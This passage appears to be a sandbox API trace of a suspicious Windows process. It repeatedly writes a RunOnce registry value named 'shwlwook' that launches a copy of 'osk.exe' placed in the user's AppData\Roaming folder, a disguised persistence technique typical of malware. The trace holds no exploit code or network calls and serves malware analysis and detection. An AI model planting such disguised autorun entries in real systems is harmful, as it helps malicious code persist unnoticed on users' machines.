lpUsedDefaultChar=0x0) returned 40 [0256.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.868] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.868] RegCloseKey (hKey=0x14c) returned 0x0 [0256.869] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.869] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.883] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.883] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.883] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.884] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.884] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.884] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.884] RegCloseKey (hKey=0x14c) returned 0x0 [0256.884] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.885] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.900] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.900] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.900] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.901] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.901] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.901] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.901] RegCloseKey (hKey=0x14c) returned 0x0 [0256.901] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.902] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.914] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.914] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.914] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.915] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.915] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.915] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.915] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.915] RegCloseKey (hKey=0x14c) returned 0x0 [0256.916] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.916] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.929] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.929] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.930] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.930] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.930] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.931] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.931] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.931] RegCloseKey (hKey=0x14c) returned 0x0 [0256.931] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.931] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.945] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.945] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.946] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.946] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.946] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.946] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.946] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.947] RegCloseKey (hKey=0x14c) returned 0x0 [0256.947] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.947] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.962] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.962] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.963] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.963] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.963] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.963] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.963] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.964] RegCloseKey (hKey=0x14c) returned 0x0 [0256.964] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.964] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.976] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.976] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.977] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.979] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.979] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.979] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.979] RegCloseKey (hKey=0x14c) returned 0x0 [0256.979] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.980] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0256.992] TranslateMessage (lpMsg=0x95f69c) returned 0 [0256.992] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0256.992] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0256.993] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0256.993] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0256.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0256.993] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0256.993] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0256.993] RegCloseKey (hKey=0x14c) returned 0x0 [0256.993] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0256.994] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.019] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.019] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.019] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.020] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.020] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.020] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.020] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.020] RegCloseKey (hKey=0x14c) returned 0x0 [0257.021] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.021] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.023] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.023] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.023] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.024] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.024] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.024] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.024] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.024] RegCloseKey (hKey=0x14c) returned 0x0 [0257.025] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.025] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.039] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.039] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.039] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.040] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.040] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.040] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.040] RegCloseKey (hKey=0x14c) returned 0x0 [0257.041] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.041] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.054] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.054] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.055] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.055] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.055] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.056] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.056] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.056] RegCloseKey (hKey=0x14c) returned 0x0 [0257.056] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.056] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.070] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.070] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.071] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.071] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.071] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0257.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0257.072] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0257.072] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0257.072] RegCloseKey (hKey=0x14c) returned 0x0 [0257.072] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0257.072] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0257.086] TranslateMessage (lpMsg=0x95f69c) returned 0 [0257.086] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0257.086] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0257.087] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0257.087] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, 